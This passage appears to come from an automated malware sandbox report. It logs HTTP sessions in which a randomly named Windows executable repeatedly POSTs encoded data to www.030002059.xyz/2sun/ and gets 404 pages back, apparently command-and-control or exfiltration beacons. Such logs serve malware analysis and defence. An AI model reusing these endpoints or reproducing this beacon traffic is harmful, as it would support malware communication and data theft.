73 61 6e 73 2d 73 65 72 69 66 3b 20 70 61 64 64 69 6e 67 3a 20 30 3b 20 6d 61 72 67 69 6e 3a 20 30 3b 22 3e 0d 0a 20 20 20 20 20 20 0d 0a 20 20 20 20 20 20 3c 64 69 76 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 33 66 33 66 33 3b 20 70 61 64 64 69 6e 67 3a 20 34 30 70 78 20 30 3b 20 77 69 64 74 68 3a 20 31 30 30 25 3b 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 73 74 79 6c 65 3d 22 77 69 64 74 68 3a 20 31 35 30 70 78 3b 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 61 75 74 6f 3b 20 6d 61 72 67 69 6e 2d [TRUNCATED] Data Ascii: <!DOCTYPE html><html> <head> <title>STRATO - Domain reserved</title> </head> <body style="background-color: #fff; font-family: Open Sans, sans-serif; padding: 0; margin: 0;"> <div style="background-color: #f3f3f3; padding: 40px 0; width: 100%;"> <div style="width: 150px; margin-left: auto; margin-right: auto;"><a href="https://www.strato.de" rel="nofollow" style="border: 0;"> <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 157.4 33.7"><defs><style>.a{fill:#f80;}.b{fill:#f80;}</style></defs><title>STRATO</title><path class="a" d="M17.8,7a4.69,4.69,0,0,1-4.7-4.7H29.6A4.69,4.69,0,0,1,34.3,7V23.5a4.69,4.69,0,0,1-4.7-4.7V9.4A2.37,2.37,0,0,0,27.2,7Z" transform="translate(-1.3 -2.3)"/><path class="b" d="M57.7,32.9c-1.3,2.5-4.7,2.6-7.3,2.6-2.1,0-4-.1-5.2-.2-1.5-.1-1.8-.5-1.8-1.3V32.9c0-1.3.2-1.7,1.4-1.7,2.1,0,3.1.2,6.2.2,2.4,0,2.9-.2,2.9-2.3,0-2.4,0-2.5-1.3-3.1a42.2,42.2,0,0,0-4.5-1.8c-3.7-1.6-4.4-2.3-4.4-6.5,0-2.6.5-4.8,3.4-5.7a14,14,0,0,1,4.9-.6c1.6, [TRUNCATED]
Oct 30, 2024 08:11:11.413149118 CET	1236	IN	Data Raw: 33 2c 30 2c 31 2e 36 2c 31 2e 33 2c 32 2e 31 2e 39 2e 35 2c 32 2c 2e 38 2c 32 2e 39 2c 31 2e 33 2c 34 2e 39 2c 32 2e 31 2c 36 2c 32 2e 35 2c 36 2c 36 2e 37 61 31 30 2e 31 32 2c 31 30 2e 31 32 2c 30 2c 30 2c 31 2d 2e 36 2c 34 2e 38 4d 37 37 2e 31 Data Ascii: 3,0,1.6,1.3,2.1.9.5,2,.8,2.9,1.3,4.9,2.1,6,2.5,6,6.7a10.12,10.12,0,0,1-.6,4.8M77.1,15.7c-2.1,0-3.7,0-5.2-.1v18a1.4,1.4,0,0,1-1.5,1.6H69c-1.1,0-1.7-.3-1.7-1.6V15.7c-1.5,0-3.2.1-5.3.1-1.5,0-1.5-.9-1.5-1.6v-.9A1.36,1.36,0,0,1,62,11.8H77.2c.8,0,1.
Oct 30, 2024 08:11:11.413183928 CET	1236	IN	Data Raw: 35 73 2d 2e 36 2c 37 2e 31 2d 32 2e 36 2c 39 2e 35 4d 31 35 33 2c 31 37 2e 34 63 2d 2e 38 2d 31 2e 36 2d 32 2e 34 2d 32 2e 33 2d 34 2e 34 2d 32 2e 33 73 2d 33 2e 36 2e 36 2d 34 2e 34 2c 32 2e 33 63 2d 2e 37 2c 31 2e 35 2d 2e 38 2c 34 2e 34 2d 2e Data Ascii: 5s-.6,7.1-2.6,9.5M153,17.4c-.8-1.6-2.4-2.3-4.4-2.3s-3.6.6-4.4,2.3c-.7,1.5-.8,4.4-.8,6.1s.1,4.6.8,6.1,2.4,2.3,4.4,2.3,3.6-.7,4.4-2.3.8-4.2.8-6.1-.1-4.6-.8-6.1" transform="translate(-1.3 -2.3)"/><path class="a" d="M24.9,14a2.26,2.26,0,0,0-2.3-2.
Oct 30, 2024 08:11:11.413218975 CET	975	IN	Data Raw: 70 61 64 64 69 6e 67 2d 62 6f 74 74 6f 6d 3a 20 33 30 70 78 22 20 6c 61 6e 67 3d 22 6e 6c 22 3e 3c 73 70 61 6e 20 73 74 79 6c 65 3d 22 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 34 70 78 3b 20 63 6f 6c 6f 72 3a 20 23 37 37 37 3b 20 66 6f 6e 74 2d 77 65 Data Ascii: padding-bottom: 30px" lang="nl"><span style="font-size: 14px; color: #777; font-weight: bold;">Nederlands</span><br>Deze website werd zojuist geregistreerd. Een webinhoud werd nog niet toegevoegd.</div> <div style="padding-bottom: 30px"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49954	161.97.142.144	80	3804	C:\Program Files (x86)\kKRezLukEtomJldoeFBChjEQtNlvuMkWmhpzdXhqjzhwuAoylANH\oDnyHukDVUZk.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 08:11:16.620498896 CET	713	OUT	POST /2sun/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.5 Host: www.030002059.xyz Cache-Control: max-age=0 Content-Type: application/x-www-form-urlencoded Content-Length: 199 Connection: close Origin: http://www.030002059.xyz Referer: http://www.030002059.xyz/2sun/ User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; Trident/7.0; Touch; TNJB; rv:11.0) like Gecko Data Raw: 5a 54 3d 4b 48 48 5a 34 30 36 55 5a 35 76 74 46 75 43 50 49 4c 45 47 2b 39 65 6c 55 4b 53 41 67 78 56 4f 30 74 47 34 46 77 33 75 63 75 65 4e 50 47 73 53 50 43 78 65 38 46 75 5a 33 6b 68 79 6f 6f 6f 59 38 71 55 39 39 4b 44 4a 52 53 71 46 4e 6b 67 6d 7a 4c 69 7a 4c 6b 61 50 42 4f 46 39 69 33 34 78 7a 71 34 33 44 35 4b 58 34 6f 66 33 71 7a 4c 33 64 2b 55 45 30 68 52 6b 54 4b 4f 78 69 47 66 47 65 5a 47 6e 50 74 55 54 51 30 52 4a 73 79 64 4e 61 5a 75 38 6b 74 35 41 51 44 50 6d 55 4e 48 2b 71 6e 38 5a 56 68 70 51 48 65 4a 68 56 6e 4f 56 59 74 38 4a 41 55 4b 67 78 6c 57 38 64 46 49 51 44 51 3d 3d Data Ascii: ZT=KHHZ406UZ5vtFuCPILEG+9elUKSAgxVO0tG4Fw3ucueNPGsSPCxe8FuZ3khyoooY8qU99KDJRSqFNkgmzLizLkaPBOF9i34xzq43D5KX4of3qzL3d+UE0hRkTKOxiGfGeZGnPtUTQ0RJsydNaZu8kt5AQDPmUNH+qn8ZVhpQHeJhVnOVYt8JAUKgxlW8dFIQDQ==
Oct 30, 2024 08:11:17.480217934 CET	1236	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 30 Oct 2024 07:11:17 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding ETag: W/"66cce1df-b96" Content-Encoding: gzip Data Raw: 35 34 65 0d 0a 1f 8b 08 00 00 00 00 00 00 03 8d 56 59 8f db 36 10 7e 76 7e 05 a3 22 48 0b 2c 69 1e a2 0e c7 5e 34 d9 26 68 1e 72 a0 db a2 e8 53 c0 95 28 4b 5d 59 74 24 da 5e a7 c8 7f ef 50 d7 ca 76 82 16 ba c8 99 f9 e6 e2 70 a8 e5 d3 5f 3e dc fc fe d7 c7 d7 28 b7 9b f2 fa c9 d2 7d 50 a9 aa f5 ca d3 95 77 fd 64 b6 cc b5 4a e1 3b 5b 6e b4 55 28 c9 55 dd 68 bb f2 76 36 c3 91 87 e6 8f ac 4a 6d f4 ca db 17 fa b0 35 b5 f5 50 62 2a ab 2b 10 3d 14 a9 cd 57 a9 de 17 89 c6 ed e4 0a 15 55 61 0b 55 e2 26 51 a5 5e b1 41 91 2d 6c a9 af 3f aa b5 46 ef 8d 45 6f cc ae 4a 97 f3 8e ea f8 8d 3d 76 a3 d9 9d 49 8f e8 1f 37 9a dd a9 e4 7e 5d 3b 51 9c 98 d2 d4 0b f4 43 26 dd f5 a2 65 6f 54 bd 2e 2a 6c cd 76 81 a2 67 1d 6d 90 93 a9 bb 3a 5a 06 fe e2 4c 6d 8a f2 b8 40 58 6d b7 a5 c6 cd b1 b1 7a 73 85 5e 95 45 75 ff 4e 25 b7 ed fc 0d 48 5e 21 ef 56 af 8d 46 7f bc f5 ae d0 6f e6 ce 58 03 b4 5f 75 b9 d7 b6 48 14 7a af 77 1a 38 2f 6b 08 f3 aa 35 30 f3 20 26 83 6e 55 d5 00 a3 81 0f 6e 74 5d 64 00 7b e9 ac a1 1b e7 15 7a bd 31 7f [TRUNCATED] Data Ascii: 54eVY6~v~"H,i^4&hrS(K]Yt$^Pvp_>(}PwdJ;[nU(Uhv6Jm5Pb+=WUaU&Q^A-l?FEoJ=vI7~];QC&eoT.lvgm:ZLm@Xmzs^EuN%H^!VFoX_uHzw8/k50 &nUnt]d{z1D7()St7JawG.z\|Q&8UjXB]O;g}\|5@Ro&i<b)~KmA5n)55AZ,/svWrt1J;^lJ(?}in`yqB 3ZcNqE^x$W,zkS3'xPuKt$:!f$iUw?:!arVF&P&mFWgC!;cC;xpUafKpZXzUR1k.1Z`?cVC4l- v\^x<XTM=z#zBqg[e_Ynwv2?tf.)x rkp8 ^9tGIw2+"$/V\|NRkPqcq?mDEN&BFtKGQ/xI %iO\|CqCJAtV"\|"@(3'!A>0HpL(pHP8G,$Qc
Oct 30, 2024 08:11:17.480247021 CET	370	IN	Data Raw: ee 1c 82 a8 28 61 4c 60 21 49 08 3e c9 90 08 3a ce 38 25 3e 8f 21 99 be 04 2b a0 46 10 06 01 f5 33 e1 dc 8e 80 cb 7c 12 87 01 06 8b 22 10 2e 9a 20 08 31 70 a5 f0 91 10 8e 77 c3 fd 10 6c 43 2e 44 44 a4 fb b2 00 b2 05 38 9f 75 e3 38 d8 fb b0 02 e0 Data Ascii: (aL`!I>:8%>!+F3\|". 1pwlC.DD8u8'/]tt0{{"G8A~[F`\075"J0B,FM@y#zJaac8;)76EO=m?5L

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49969	161.97.142.144	80	3804	C:\Program Files (x86)\kKRezLukEtomJldoeFBChjEQtNlvuMkWmhpzdXhqjzhwuAoylANH\oDnyHukDVUZk.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 08:11:19.179251909 CET	733	OUT	POST /2sun/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.5 Host: www.030002059.xyz Cache-Control: max-age=0 Content-Type: application/x-www-form-urlencoded Content-Length: 219 Connection: close Origin: http://www.030002059.xyz Referer: http://www.030002059.xyz/2sun/ User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; Trident/7.0; Touch; TNJB; rv:11.0) like Gecko Data Raw: 5a 54 3d 4b 48 48 5a 34 30 36 55 5a 35 76 74 45 4d 57 50 4c 72 34 47 75 74 65 6d 59 71 53 41 79 78 56 43 30 74 4b 34 46 78 7a 45 63 38 36 4e 4d 6e 63 53 64 57 6c 65 73 56 75 5a 38 45 68 33 33 34 6f 70 38 71 52 41 39 49 58 4a 52 53 2b 46 4e 6d 6f 6d 7a 34 36 77 5a 45 61 52 55 65 46 2f 6f 58 34 78 7a 71 34 33 44 35 76 77 34 6f 58 33 71 69 37 33 50 4d 39 32 76 42 52 72 65 61 4f 78 6f 6d 66 4b 65 5a 47 56 50 6f 4d 70 51 32 35 4a 73 32 4e 4e 61 74 61 7a 74 74 35 43 65 6a 4f 4d 45 38 7a 77 6b 6b 42 68 61 67 4d 79 5a 36 4d 44 55 68 44 50 4a 63 64 65 53 55 75 54 73 69 66 49 51 47 31 5a 59 63 72 50 70 6c 30 58 71 77 59 55 69 43 45 42 78 6d 6e 7a 73 4e 51 3d Data Ascii: ZT=KHHZ406UZ5vtEMWPLr4GutemYqSAyxVC0tK4FxzEc86NMncSdWlesVuZ8Eh334op8qRA9IXJRS+FNmomz46wZEaRUeF/oX4xzq43D5vw4oX3qi73PM92vBRreaOxomfKeZGVPoMpQ25Js2NNataztt5CejOME8zwkkBhagMyZ6MDUhDPJcdeSUuTsifIQG1ZYcrPpl0XqwYUiCEBxmnzsNQ=
Oct 30, 2024 08:11:20.001339912 CET	1236	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 30 Oct 2024 07:11:19 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding ETag: W/"66cce1df-b96" Content-Encoding: gzip Data Raw: 35 34 65 0d 0a 1f 8b 08 00 00 00 00 00 00 03 8d 56 59 8f db 36 10 7e 76 7e 05 a3 22 48 0b 2c 69 1e a2 0e c7 5e 34 d9 26 68 1e 72 a0 db a2 e8 53 c0 95 28 4b 5d 59 74 24 da 5e a7 c8 7f ef 50 d7 ca 76 82 16 ba c8 99 f9 e6 e2 70 a8 e5 d3 5f 3e dc fc fe d7 c7 d7 28 b7 9b f2 fa c9 d2 7d 50 a9 aa f5 ca d3 95 77 fd 64 b6 cc b5 4a e1 3b 5b 6e b4 55 28 c9 55 dd 68 bb f2 76 36 c3 91 87 e6 8f ac 4a 6d f4 ca db 17 fa b0 35 b5 f5 50 62 2a ab 2b 10 3d 14 a9 cd 57 a9 de 17 89 c6 ed e4 0a 15 55 61 0b 55 e2 26 51 a5 5e b1 41 91 2d 6c a9 af 3f aa b5 46 ef 8d 45 6f cc ae 4a 97 f3 8e ea f8 8d 3d 76 a3 d9 9d 49 8f e8 1f 37 9a dd a9 e4 7e 5d 3b 51 9c 98 d2 d4 0b f4 43 26 dd f5 a2 65 6f 54 bd 2e 2a 6c cd 76 81 a2 67 1d 6d 90 93 a9 bb 3a 5a 06 fe e2 4c 6d 8a f2 b8 40 58 6d b7 a5 c6 cd b1 b1 7a 73 85 5e 95 45 75 ff 4e 25 b7 ed fc 0d 48 5e 21 ef 56 af 8d 46 7f bc f5 ae d0 6f e6 ce 58 03 b4 5f 75 b9 d7 b6 48 14 7a af 77 1a 38 2f 6b 08 f3 aa 35 30 f3 20 26 83 6e 55 d5 00 a3 81 0f 6e 74 5d 64 00 7b e9 ac a1 1b e7 15 7a bd 31 7f [TRUNCATED] Data Ascii: 54eVY6~v~"H,i^4&hrS(K]Yt$^Pvp_>(}PwdJ;[nU(Uhv6Jm5Pb+=WUaU&Q^A-l?FEoJ=vI7~];QC&eoT.lvgm:ZLm@Xmzs^EuN%H^!VFoX_uHzw8/k50 &nUnt]d{z1D7()St7JawG.z\|Q&8UjXB]O;g}\|5@Ro&i<b)~KmA5n)55AZ,/svWrt1J;^lJ(?}in`yqB 3ZcNqE^x$W,zkS3'xPuKt$:!f$iUw?:!arVF&P&mFWgC!;cC;xpUafKpZXzUR1k.1Z`?cVC4l- v\^x<XTM=z#zBqg[e_Ynwv2?tf.)x rkp8 ^9tGIw2+"$/V\|NRkPqcq?mDEN&BFtKGQ/xI %iO\|CqCJAtV"\|"@(3'!A>0HpL(pHP8G,$Qc
Oct 30, 2024 08:11:20.001355886 CET	370	IN	Data Raw: ee 1c 82 a8 28 61 4c 60 21 49 08 3e c9 90 08 3a ce 38 25 3e 8f 21 99 be 04 2b a0 46 10 06 01 f5 33 e1 dc 8e 80 cb 7c 12 87 01 06 8b 22 10 2e 9a 20 08 31 70 a5 f0 91 10 8e 77 c3 fd 10 6c 43 2e 44 44 a4 fb b2 00 b2 05 38 9f 75 e3 38 d8 fb b0 02 e0 Data Ascii: (aL`!I>:8%>!+F3\|". 1pwlC.DD8u8'/]tt0{{"G8A~[F`\075"J0B,FM@y#zJaac8;)76EO=m?5L

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49985	161.97.142.144	80	3804	C:\Program Files (x86)\kKRezLukEtomJldoeFBChjEQtNlvuMkWmhpzdXhqjzhwuAoylANH\oDnyHukDVUZk.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 08:11:21.725886106 CET	10815	OUT	POST /2sun/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.5 Host: www.030002059.xyz Cache-Control: max-age=0 Content-Type: application/x-www-form-urlencoded Content-Length: 10299 Connection: close Origin: http://www.030002059.xyz Referer: http://www.030002059.xyz/2sun/ User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; Trident/7.0; Touch; TNJB; rv:11.0) like Gecko Data Raw: 5a 54 3d 4b 48 48 5a 34 30 36 55 5a 35 76 74 45 4d 57 50 4c 72 34 47 75 74 65 6d 59 71 53 41 79 78 56 43 30 74 4b 34 46 78 7a 45 63 38 79 4e 4d 52 67 53 50 68 5a 65 2b 46 75 5a 67 55 68 32 33 34 6f 77 38 75 30 48 39 49 62 7a 52 52 47 46 4d 44 38 6d 69 35 36 77 53 45 61 52 4c 75 46 2b 69 33 34 6b 7a 72 55 7a 44 35 2f 77 34 6f 58 33 71 68 6a 33 4e 65 56 32 6f 78 52 6b 54 4b 4f 39 69 47 66 75 65 5a 65 2f 50 6f 35 57 54 47 5a 4a 73 58 68 4e 4a 6f 75 7a 77 64 35 45 5a 6a 4f 55 45 38 75 79 6b 6b 4d 59 61 67 35 66 5a 39 45 44 56 77 79 56 5a 59 70 6b 49 55 72 42 38 77 4c 66 66 30 39 4b 58 4d 65 79 74 56 30 31 7a 54 64 33 69 54 6c 37 71 57 7a 5a 75 4b 63 31 71 47 70 57 42 64 59 37 4d 37 58 69 56 58 4b 79 52 6f 49 66 33 53 30 71 69 45 77 63 63 53 51 44 72 4a 43 42 54 6c 6c 7a 76 6a 31 45 54 4f 6f 2f 47 47 78 6d 70 36 70 43 44 6a 47 5a 73 38 6a 64 75 46 55 69 34 2b 4e 6f 52 34 4c 35 4e 6b 6c 4c 52 51 71 6c 67 65 67 30 43 54 6b 45 51 4c 36 44 73 4b 5a 36 6a 49 43 77 36 41 64 5a 36 77 31 62 50 37 36 59 69 46 5a [TRUNCATED] Data Ascii: ZT=KHHZ406UZ5vtEMWPLr4GutemYqSAyxVC0tK4FxzEc8yNMRgSPhZe+FuZgUh234ow8u0H9IbzRRGFMD8mi56wSEaRLuF+i34kzrUzD5/w4oX3qhj3NeV2oxRkTKO9iGfueZe/Po5WTGZJsXhNJouzwd5EZjOUE8uykkMYag5fZ9EDVwyVZYpkIUrB8wLff09KXMeytV01zTd3iTl7qWzZuKc1qGpWBdY7M7XiVXKyRoIf3S0qiEwccSQDrJCBTllzvj1ETOo/GGxmp6pCDjGZs8jduFUi4+NoR4L5NklLRQqlgeg0CTkEQL6DsKZ6jICw6AdZ6w1bP76YiFZOGaTNxKdHZN0rd2W5NBi4+s94kjlNypQdX5NkjwxQzWy95/H6jivdYLxyKX4TIqF7aPDvCD0Fi6Wcs+XmzgSYtc10ydavmr+7MOjL4G0/I4itmGShTYrHQkcJj1vnZRvILiEEvNnIC28QiNvaKtkYQXOjC0PjDNbzouy/OR6mt3E4CIXkNzVEn6Rlw24qMCT4zcdQWI7qp/eS6AftXrFuH9PRoTCn1JQipRIUmVYPKI24iSD4G34AHK4e4FdaRyhM7HA6Tn3tjuJy9tVelt+S3TCjwU6UQ8B4OrCPeZPXobzmO0iSOyORrtUzd70XUqrAAm3LtcvyGLJzOl4PYZw/1iMhNzHryj7fkIs6St0UVgYPDgaHgizW3j225cTapc2PkzRBO6PuRaid7CQTNco/9/E+YgMcKIpUcyLnMcFy+CKfBGU8futbOpxVw6Oj2rohBXrQEIT65Q3ZbMOuXGeWVKykcWOA4giTXKWUFXaP5NkbXaFk1crimJx7SZfyNrwJYtomFWOIGIy4MHhEkr1jCwUiCR54Xw8ksgcQGJ7FGFAhbXiEkqs4dxupNKADpOkE6oYrWDwlXVoaabpJ7JuM5kyv+0PTA1g3GTVlj0/w09QtbefGUfwYKU69kJMQim9rj+vuGy12EdA4/jpLTulFzA1OCZH0Osq7q [TRUNCATED]
Oct 30, 2024 08:11:22.550036907 CET	1236	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 30 Oct 2024 07:11:22 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding ETag: W/"66cce1df-b96" Content-Encoding: gzip Data Raw: 35 34 65 0d 0a 1f 8b 08 00 00 00 00 00 00 03 8d 56 59 8f db 36 10 7e 76 7e 05 a3 22 48 0b 2c 69 1e a2 0e c7 5e 34 d9 26 68 1e 72 a0 db a2 e8 53 c0 95 28 4b 5d 59 74 24 da 5e a7 c8 7f ef 50 d7 ca 76 82 16 ba c8 99 f9 e6 e2 70 a8 e5 d3 5f 3e dc fc fe d7 c7 d7 28 b7 9b f2 fa c9 d2 7d 50 a9 aa f5 ca d3 95 77 fd 64 b6 cc b5 4a e1 3b 5b 6e b4 55 28 c9 55 dd 68 bb f2 76 36 c3 91 87 e6 8f ac 4a 6d f4 ca db 17 fa b0 35 b5 f5 50 62 2a ab 2b 10 3d 14 a9 cd 57 a9 de 17 89 c6 ed e4 0a 15 55 61 0b 55 e2 26 51 a5 5e b1 41 91 2d 6c a9 af 3f aa b5 46 ef 8d 45 6f cc ae 4a 97 f3 8e ea f8 8d 3d 76 a3 d9 9d 49 8f e8 1f 37 9a dd a9 e4 7e 5d 3b 51 9c 98 d2 d4 0b f4 43 26 dd f5 a2 65 6f 54 bd 2e 2a 6c cd 76 81 a2 67 1d 6d 90 93 a9 bb 3a 5a 06 fe e2 4c 6d 8a f2 b8 40 58 6d b7 a5 c6 cd b1 b1 7a 73 85 5e 95 45 75 ff 4e 25 b7 ed fc 0d 48 5e 21 ef 56 af 8d 46 7f bc f5 ae d0 6f e6 ce 58 03 b4 5f 75 b9 d7 b6 48 14 7a af 77 1a 38 2f 6b 08 f3 aa 35 30 f3 20 26 83 6e 55 d5 00 a3 81 0f 6e 74 5d 64 00 7b e9 ac a1 1b e7 15 7a bd 31 7f [TRUNCATED] Data Ascii: 54eVY6~v~"H,i^4&hrS(K]Yt$^Pvp_>(}PwdJ;[nU(Uhv6Jm5Pb+=WUaU&Q^A-l?FEoJ=vI7~];QC&eoT.lvgm:ZLm@Xmzs^EuN%H^!VFoX_uHzw8/k50 &nUnt]d{z1D7()St7JawG.z\|Q&8UjXB]O;g}\|5@Ro&i<b)~KmA5n)55AZ,/svWrt1J;^lJ(?}in`yqB 3ZcNqE^x$W,zkS3'xPuKt$:!f$iUw?:!arVF&P&mFWgC!;cC;xpUafKpZXzUR1k.1Z`?cVC4l- v\^x<XTM=z#zBqg[e_Ynwv2?tf.)x rkp8 ^9tGIw2+"$/V\|NRkPqcq?mDEN&BFtKGQ/xI %iO\|CqCJAtV"\|"@(3'!A>0HpL(pHP8G,$Qc
Oct 30, 2024 08:11:22.550060034 CET	370	IN	Data Raw: ee 1c 82 a8 28 61 4c 60 21 49 08 3e c9 90 08 3a ce 38 25 3e 8f 21 99 be 04 2b a0 46 10 06 01 f5 33 e1 dc 8e 80 cb 7c 12 87 01 06 8b 22 10 2e 9a 20 08 31 70 a5 f0 91 10 8e 77 c3 fd 10 6c 43 2e 44 44 a4 fb b2 00 b2 05 38 9f 75 e3 38 d8 fb b0 02 e0 Data Ascii: (aL`!I>:8%>!+F3\|". 1pwlC.DD8u8'/]tt0{{"G8A~[F`\075"J0B,FM@y#zJaac8;)76EO=m?5L

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	50000	161.97.142.144	80	3804	C:\Program Files (x86)\kKRezLukEtomJldoeFBChjEQtNlvuMkWmhpzdXhqjzhwuAoylANH\oDnyHukDVUZk.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 08:11:24.304682970 CET	446	OUT	GET /2sun/?ZT=HFv57CWzV4D1L9ubGrUw/N+LZZ6BniYLjcS4cRbGENzhA3BKZjtgqnC6wzdpxcsL4M445YXmdmOqKzt/9+uXSXCfKbs+tX0lmfcjUf3N9oWc/wvfMeYS2jQ=&mTkD=Gj2Ti2T0g4 HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.5 Host: www.030002059.xyz Connection: close User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; Trident/7.0; Touch; TNJB; rv:11.0) like Gecko
Oct 30, 2024 08:11:25.122616053 CET	1236	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 30 Oct 2024 07:11:25 GMT Content-Type: text/html; charset=utf-8 Content-Length: 2966 Connection: close Vary: Accept-Encoding ETag: "66cce1df-b96" Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 09 3c 68 65 61 64 3e 0a 09 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 20 2f 3e 0a 09 09 3c 74 69 74 6c 65 3e 50 61 67 65 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 09 09 3c 73 74 79 6c 65 3e 0a 09 09 09 62 6f 64 79 20 7b 0a 09 09 09 09 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 35 66 35 66 35 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 38 25 3b 0a 09 09 09 09 63 6f 6c 6f 72 3a 20 23 35 64 35 64 35 64 3b 0a 09 09 09 09 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 2d 61 70 70 6c 65 2d 73 79 73 74 65 6d 2c 20 42 6c 69 6e 6b 4d 61 63 53 79 73 74 65 6d 46 6f 6e 74 2c 20 22 53 65 67 6f 65 20 55 49 22 2c 20 52 6f 62 6f 74 6f 2c 20 22 48 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang="en"><head><meta charset="utf-8" /><meta name="viewport" content="width=device-width, initial-scale=1" /><title>Page Not Found</title><style>body {background-color: #f5f5f5;margin-top: 8%;color: #5d5d5d;font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, "Helvetica Neue", Arial,"Noto Sans", sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol","Noto Color Emoji";text-shadow: 0px 1px 1px rgba(255, 255, 255, 0.75);text-align: center;}h1 {font-size: 2.45em;font-weight: 700;color: #5d5d5d;letter-spacing: -0.02em;margin-bottom: 30px;margin-top: 30px;}.container {width: 100%;margin-right: auto;margin-left: auto;}.animate__animated {animation-duration: 1s;animation-fill-mode: both;}.animate__fadeIn {animation-name: fadeIn;}.info {color: #5594cf;fill: #5594cf;}.error [TRUNCATED]
Oct 30, 2024 08:11:25.122648954 CET	1236	IN	Data Raw: 3b 0a 09 09 09 09 66 69 6c 6c 3a 20 23 63 39 32 31 32 37 3b 0a 09 09 09 7d 0a 0a 09 09 09 2e 77 61 72 6e 69 6e 67 20 7b 0a 09 09 09 09 63 6f 6c 6f 72 3a 20 23 66 66 63 63 33 33 3b 0a 09 09 09 09 66 69 6c 6c 3a 20 23 66 66 63 63 33 33 3b 0a 09 09 Data Ascii: ;fill: #c92127;}.warning {color: #ffcc33;fill: #ffcc33;}.success {color: #5aba47;fill: #5aba47;}.icon-large {height: 132px;width: 132px;}.description-text {color: #707
Oct 30, 2024 08:11:25.122663021 CET	424	IN	Data Raw: 39 34 31 20 32 31 36 20 32 39 36 76 34 63 30 20 36 2e 36 32 37 20 35 2e 33 37 33 20 31 32 20 31 32 20 31 32 68 35 36 63 36 2e 36 32 37 20 30 20 31 32 2d 35 2e 33 37 33 20 31 32 2d 31 32 76 2d 31 2e 33 33 33 63 30 2d 32 38 2e 34 36 32 20 38 33 2e Data Ascii: 941 216 296v4c0 6.627 5.373 12 12 12h56c6.627 0 12-5.373 12-12v-1.333c0-28.462 83.186-29.647 83.186-106.667 0-58.002-60.165-102-116.531-102zM256 338c-25.365 0-46 20.635-46 46 0 25.364 20.635 46 46 46s46-20.636 46-46c0-25.365-20.635-46-46-46z"
Oct 30, 2024 08:11:25.122698069 CET	274	IN	Data Raw: 6e 69 6d 61 74 65 5f 5f 64 65 6c 61 79 2d 31 73 22 3e 0a 09 09 09 09 09 09 3c 70 3e 4f 6f 70 73 21 20 57 65 20 63 6f 75 6c 64 6e 27 74 20 66 69 6e 64 20 74 68 65 20 70 61 67 65 20 74 68 61 74 20 79 6f 75 27 72 65 20 6c 6f 6f 6b 69 6e 67 20 66 6f Data Ascii: nimate__delay-1s"><p>Oops! We couldn't find the page that you're looking for.</p><p>Please check the address and try again.</p><section class="footer"><strong>Error Code:</strong> 404</section></div></div></

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	50020	13.248.169.48	80	3804	C:\Program Files (x86)\kKRezLukEtomJldoeFBChjEQtNlvuMkWmhpzdXhqjzhwuAoylANH\oDnyHukDVUZk.exe

Timestamp	Bytes transferred	Direction	Data
